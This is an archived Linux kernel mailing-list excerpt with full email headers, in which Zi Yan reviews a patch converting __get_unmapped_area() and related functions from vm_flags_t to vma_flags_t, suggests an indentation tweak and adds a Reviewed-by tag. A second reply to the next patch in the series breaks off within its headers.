Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=xmlAi4x/h0BdLppJ8Mj5hXhgDSENpDkIxMWA67G4JXMMcHtvb8Xg4LSHbPen0uX4xfXOXzv1aaXbSlKNAgx1ZshFhvADg4PcYNtiQhrLHqK0ubu0200KKjhkYgQ5S4Cp0vpzBLP/deDyXnBLQ/6RKfr8sgLPx499uCiKs5oc82a/aULgIU0m/rzDIthuVfwkFPrwZR2gH+hv1crsmlGEXOq/4oI3J+FqZWjBNczm3vPkiWC043qBZChlorNJwIQbNHUHTLCGI9GrEwU9/E3sLhtrsyt9iDvJei1DYYIPJXYc/Evc1ZYEvptu7k3jhmbWWu/ry5gHuKzfkKFDavsGFA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=NP/BuSbRJgWDe0nuHRuoz2AG2Ll3dQalQ3DDTSWWWfQ=;
 b=w+3NC4HXIpHJSPiqgCNAzkoSGpa20qsmOTVWxNwRqP76T7+rizeRKzQfosn12IpN8TtU7+i6IMgOXb240aBZVuGAVGAMRxA2+8CUsmdqByKI8HHE9izk1eKKXATspDTBB6ZYiw67gnlBCldkM0/L8l8DF7+XdLjDn/13UEsJ4EeBroB+vJRS4lZaGTSCgiY9dtFL7DVvyn2XfkUlsncEnjWKx6CF2nzRNlovKxGi/bnFsLqeQBITNRDv4FG07DfDliExe3nG005lWrCwOK9w5cIC2kwNz9XVRcieqaIxADl0DspqrJ3gP1JoFY3Z+sSTEbyW02dOvaA4O0X0XHkjJg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=NP/BuSbRJgWDe0nuHRuoz2AG2Ll3dQalQ3DDTSWWWfQ=;
 b=sdtzh+ufO2Gzl23/ze1OAe5OBI9fnBQVDz69Mw8RSoYuIZENYyOY6CVnCm5fBpL0xgnwtMgpmAVzFKX6rnq8Hkmy7ELJigHI7cGJ7xDgJ/8FFkM6G9AXhWIk7qWibugQ9UPQOdJTIOxODn8f7ahc+J8oGy3IppZQWkTwZPhmXVDxsdVartH2ZiwQ8K9fCJNhTL+PXlceeo8rQ7NjwGKE/SaC7s0bY1V99NVolmrssbuzIFGVMb4OC4r+ILCJMThz/lHkt7JuUMhzdMbPZ+ll8W7dsUKCYmR6sb2Zuc/KTc5PU+PsB/RTzkLx0Qfs713oESnblCBkCJxei72wp9/ylA==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Mon, 06 Jul 2026 22:28:24 -0400
Message-Id: <DJRZGEZU5ESV.3IP5LEAUQJCBK@nvidia.com>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
Subject: Re: [PATCH 03/13] mm: convert __get_unmapped_area() to use
 vma_flags_t
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <b1ad7c4443f5cba622e4c48c5a9ef15427001a93.1782760670.git.ljs@kernel.org>
In-Reply-To: <b1ad7c4443f5cba622e4c48c5a9ef15427001a93.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: IA4P220CA0010.NAMP220.PROD.OUTLOOK.COM
 (2603:10b6:208:558::15) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|CY5PR12MB6275:EE_
X-MS-Office365-Filtering-Correlation-Id: 2f901e21-3c2b-473b-6289-08dedbcf828e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|7416014|4143699003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	mg5fB033NKmoDrnf/y8yyjwvnIuBaVrwxC3bbsW5zIfx6Oq/54M/qqv/idKcreMEeHtpxtaqG1tqizZvKkICDQh7XIsDiq6cCvHJpVZbTyF691UacLptENcmjZRMdk4cPqMMfZG8J/lR3RRaXow+tcrPjcjUHCVGffTqdVRZqLyqelGmSLPiY+paQNzrW2rcfAZAuWOyHugry5+kL/SHrYDamHC1HL7KGKXRqp/X2MMhvG1EqPqJfoRV+GF9T3T7ZWaO61jA/h9pGuX7ICplO/XAT81LG53Be6+GdsXamGYgnZV6NegxlRAZHn3cqu+o4xtEfDhEe0fM2u78qCS+4OSPF+wSQbT4HlqkHVoLDLO6LPuseEIKgcY24eLT4koojUEP1Jwe9B7qBw26F/b7lCkGgIaf3zkbalIW8Khk2naeEIPjtbMh3sRjL1bkgfwSfObRlfE6LVLWhmxQ33nRRFQraNLENG0SsVn81oibIvlkrL1NLof73saHNOSFqLbRWLK61ydQY/cCIpEQr7strsdDU4kt6ruQB1hmbqq2ubfGCX6oHkyurKoMv2LRF4QPfqwdxD1tJk82LQq+yCKKpsFV6ZSa2Dv4L7Z0fuDKT3Q4N55umUaT8997Jsf0wBl4eSHHhEJPp00rWdod+QHXakHvHduTmYoa50IPqmJLqMM=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(7416014)(4143699003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?TnU3aUd1YzhFNGFXcGw5dC8wU0xKczlKVXczNUE4a1RHY3haUGIvT2REUXBi?=
 =?utf-8?B?RDNrWnBsKys4ZUhPQlJKVmdhZUU2WkdjOXRqbW5QMmZHUXlxZGVBMlVQVDJr?=
 =?utf-8?B?NzNsN0hpbXY0ZW0yRVlTV1J6aWs3T1ZWcU4xSWxyQWdLeFlwcWdaSUF5VVF2?=
 =?utf-8?B?OEFQWDlrbENWUzQ4aEdSNUpwd1lyK2ljV3NtY3N3VG83d0RlSTRqUEZlQmdy?=
 =?utf-8?B?MGhsd0llWjdCNm5wNHlUL1RMSDZVZWdTVWVITmV2c3FwNXFQMHAycFJWRlk3?=
 =?utf-8?B?UnlvOXZjYndhMGlXNCtWTHRSTjZudXhyWjBuK0xzeXUyQTJwYjBsWC8rb0w5?=
 =?utf-8?B?RWVDQ3d2U01PQUlHUHU1em9MS0JsMTFKQjFhc0dLVXRHaFUvdG1jdjRmUkFq?=
 =?utf-8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pcUZYbUl5cHNw?=
 =?utf-8?B?a2ZVUmtia3Ryak1VRmVNQVJwL3pRYTh3RGVIckhaK0VRN0MxU1pYdGlWWU11?=
 =?utf-8?B?L0Y3R2ZWMEhsaWt3bmNtdElPdHE0UnM4bGtJTkpYMU84bkdlL2cwcG1CR2VS?=
 =?utf-8?Q?iO+t7PPHPo+MYYH/97?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 2f901e21-3c2b-473b-6289-08dedbcf828e
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 07 Jul 2026 02:29:02.9604
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: OrcozU9kg7QUVHKR5NUa3NywiQufeN8cogHHwrBlpSTgLxy09vcd6ru3IyBR1eHU
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY5PR12MB6275
X-purgate-ID: tlsNG-d62444/1783391356-818D81E0-6A8B3D3C/0/0
X-purgate-type: clean
X-purgate-size: 2386

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> Update __get_unmapped_area() to be parameterised by vma_flags_t rather th=
an
> vm_flags_t as part of the effort to move VMA flags from a system word to =
a
> bitmap.
>
> We cascade the changes up to arch_get_unmapped_area_topdown() and
> arch_get_unmapped_area(), where, for now, we use vma_flags_to_legacy() in
> order to propagate the VMA flags.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  fs/hugetlbfs/inode.c     |  3 ++-
>  include/linux/huge_mm.h  | 10 +++++-----
>  include/linux/mm.h       |  6 ++++--
>  include/linux/sched/mm.h | 12 ++++++------
>  mm/huge_memory.c         | 21 ++++++++++++---------
>  mm/mmap.c                | 27 ++++++++++++++-------------
>  6 files changed, 43 insertions(+), 36 deletions(-)
>
<snip>

> diff --git a/include/linux/sched/mm.h b/include/linux/sched/mm.h
> index 95d0040df584..b301ec90740a 100644
> --- a/include/linux/sched/mm.h
> +++ b/include/linux/sched/mm.h
> @@ -193,12 +193,12 @@ unsigned long mm_get_unmapped_area(struct file *fil=
p, unsigned long addr,
>  				   unsigned long len, unsigned long pgoff,
>  				   unsigned long flags);
> =20
> -unsigned long mm_get_unmapped_area_vmflags(struct file *filp,
> -					   unsigned long addr,
> -					   unsigned long len,
> -					   unsigned long pgoff,
> -					   unsigned long flags,
> -					   vm_flags_t vm_flags);
> +unsigned long mm_get_unmapped_area_vmaflags(struct file *filp,
> +					    unsigned long addr,
> +					    unsigned long len,
> +					    unsigned long pgoff,
> +					    unsigned long flags,
> +					    vma_flags_t vma_flags);

Want to use two-tab indentation while at it?

<snip>

> @@ -812,19 +811,20 @@ arch_get_unmapped_area_topdown(struct file *filp, u=
nsigned long addr,
>  }
>  #endif
> =20
> -unsigned long mm_get_unmapped_area_vmflags(struct file *filp, unsigned l=
ong addr,
> -					   unsigned long len, unsigned long pgoff,
> -					   unsigned long flags, vm_flags_t vm_flags)
> +unsigned long mm_get_unmapped_area_vmaflags(struct file *filp, unsigned =
long addr,
> +					    unsigned long len, unsigned long pgoff,
> +					    unsigned long flags, vma_flags_t vma_flags)

Ditto.

LGTM.

Reviewed-by: Zi Yan <ziy@nvidia.com>


--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 02:30:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 02:30:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355906.1610580 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgvZW-0007e3-W5; Tue, 07 Jul 2026 02:30:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355906.1610580; Tue, 07 Jul 2026 02:30:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgvZW-0007db-S6; Tue, 07 Jul 2026 02:30:06 +0000
Received: by outflank-mailman (input) for mailman id 1355906;
 Tue, 07 Jul 2026 02:30:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1wgvZV-0007VO-Tv
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 02:30:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgvZV-004QFE-Ae
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 04:30:05 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4c647a-e002-0a2a0a5209dd-0a2a4506d8d4-12
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 04:30:05 +0200
Received: from [40.93.201.32]
 (helo=CY3PR05CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4c64ab-08de-0a2a45060019-285dc920677b-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 04:30:04 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by CY5PR12MB6275.namprd12.prod.outlook.com (2603:10b6:930:20::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Tue, 7 Jul
 2026 02:29:56 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.009; Tue, 7 Jul 2026
 02:29:56 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=mzpRGdZ757zSn/vBzw7mLX/Dcw6yEnHlsf9xKmN2gwbYb5H8senBU8bWgX49JfMmXeoasFvlggyp0qNrA/5WdxcG2KnUTorZeFIQgQ+aktnIlvnhXmfVmkDMAwa+5JUNZC9Cwr+sAkDMUOhZ1aDcKkOpjuw89ZFQPvKKML0JPC5nSBupBjnBrHqopP2if71tNGmVV6c/+DRtJR+eFm2u5TphS1cjYxLfkrQKtgdsnr1H/qSUeB3VjYKpr+kBuu2S0bH4Id7ShzlUK3H2fbURgc81j8xx4Y9GtnEcVrTFwH4hjNPvxqBPDO7EPX2cJzvyDRX0yJA8xsvYLcVxBB5mAg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=G5SDIdFLoYbDOHAIakCAUhsVvo3Qdgdk6RXUmFO83TU=;
 b=d/L4arIpSCIZ2cG//K6QIS4Eq75ZnFdfPyXbNabScvNwYRimUPGha5m7tevzOcTzTT4CYeSvLgNOJJ5HzZwIE9KYeXNvSCw4pno/w5hkQMzAONfvPpB79qiMhNvcutwqCU0HgwgWVkOl4B+wBR1hNNNSnNj79CxDiDTD0IzYcT7Towb08RxxV2WbAz0ZNFYcPsvOiybJioi5bbzSyOgTD1A+fyWObz9Byb2Ft5mSaQ5bxmvLs9VM+Hp4DY/FdN3+reSYAf+Godc2CMm4JShr55LmDOF92B4ook2QJe27JWlMkZyRmb5hs/DP7YPaPNScJRXM71IYstzZpoamqbBBTg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=G5SDIdFLoYbDOHAIakCAUhsVvo3Qdgdk6RXUmFO83TU=;
 b=eJi13RbM9h39ZibWYLZkLfbwMabfTmRDByyT16y+evTK2vpHEpvzjqbDftdNqIrU0ZiAArYwjDJ3k8OKG2zVMpeIeBstVKAim21tXyxT1g9lL43NhvSfrwWYVbAeW4eok15i/ELY4nhq1SjTLZfkiFVIoMOutGWj4DmyquPlkFaU92t5VfI10hmIsbOwBy09zyeqlsuET1DLiAMAktIYG9qPOjDHqbafq1FCkE22Pe1XUUf28RwmD+h2u0tmry7GeFhqCYMpN8/uXJXdstY8zu0l13LrX0DuFpfJNR903z28j54VWfHnOBBa9HBewlWBIwOWhnUSgLcktmy+e8Nm4A==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Mon, 06 Jul 2026 22:29:15 -0400
Message-Id: <DJRZH2CUI67Z.2MQC3Q65RXJS@nvidia.com>
Subject: Re: [PATCH 04/13] mm: update generic_get_unmapped_area[_topdown]()
 to use vma_flags_t
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <cef55b19f86c110952f13829aefa4859db3a70ed.1782760670.git.ljs@kernel.org>
In-Reply-To: <cef55b19f86c110952f13829aefa4859db3a70ed.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: YQBPR0101CA0117.CANPRD01.PROD.OUTLOOK.COM
 (2603:10b6:c01:5::20) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|CY5PR12MB6275:EE_
X-MS-Office365-Filtering-Correlation-Id: 1b6ebcdd-bf63-47bb-9a73-08dedbcfa283
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|7416014|4143699003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	tclAw8uDOS/u0aMNtPAvNk6Knf1cSRlVsE/rTf3au3z1vsNZx3i4nNOvahYaarK/foeav1xFBYYQtRmiINzpIR4GlvoOis0rEodCWrHWwRHiYPVAo8WuGfI3gOd73cfNAloZDe6qqt7ODpuCOeHdv4swVKJah38opvSuCvizYxemc+Bw6XaaVFcp0VLoQ4F6FqAuiccrV2X2XPI1TmWALS91QqhLuGenyttEKO7aqiTO6ZPKczfdUjJhoEtLWMtfb5+zqvllyTrzAnj+vpgzqF+Vq2DEgm1QBu1/3uSLTDiNrLruamuR8ZxR42YxsmW/3u85KjW4sA1N9X2KX7p4KbrCMF3AQmYumir8Wp9VV9VPCBPnpnb7dvoOpFDo1KvqC9PvMAOcK6pOsXK7EKumDQGpF2oGyb+SXUpjhbkyBikolAmXw6PjxJbSCBrypRsNtkVbWD5tIV1rfTKUK8dJd8jDjzfiSO36nJjVK4YRWuW1DsbhwqE11L3cKHffhxLl5ZUj7IdK2JpAjOjpZDrNivIvviGwuYnpiZioVCzdsqBw7ZdTSrv9I2JAahl21FQ2iee7KsgyFaeXYpqcyy7C6ikdctGI7t0Q7vFeLuKaoKdSF7T1lApWJTHGNwPof7Mza8HnpoAWl+xfZbvpI0u+In2lgmyukxkP/cwnmOxVqIo=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(7416014)(4143699003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?bkk3WGsxaS9keEhmYml3Z2h4WlA4Q2VKTktOUjREZ2xWa1RQYUp4N2QrdEJo?=
 =?utf-8?B?TVE4bEM5N29iODZDMFdoR3Azc0hCVks2bEVqT1ppazY2Nk9icC9rNkl5WEdh?=
 =?utf-8?B?SjI4ZFB5aWhEbFcrSkw2S0Y5L2RUVkI4Q3d2TjlDbFJhTC9ZZHdsaXM5cko5?=
 =?utf-8?B?T2pOVHJ3UHd6bHlSUDdCMUpsYzRmTkROYWEycTlGV2ppemllY1BRY3k4d2FF?=
 =?utf-8?B?MHhkZVVPaUg4bWxxaHpkbnphUDk2eVJHc2xnMzcvWFYvVXhuNjNnRjJla1Zr?=
 =?utf-8?B?OHJmQytodURNb2prN2ZBWEs2SnZ3RWNYeW5mYkp5aGRsUmtEM1JaTCt6MEFp?=
 =?utf-8?B?L0V3OEJMMFFEMGk5YWVZNzRrQkVlT2RLRW1xY0c0NXZJQm40TmhU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4bUtnaXhyYmR5dUwvWEJBSUZHck5R?=
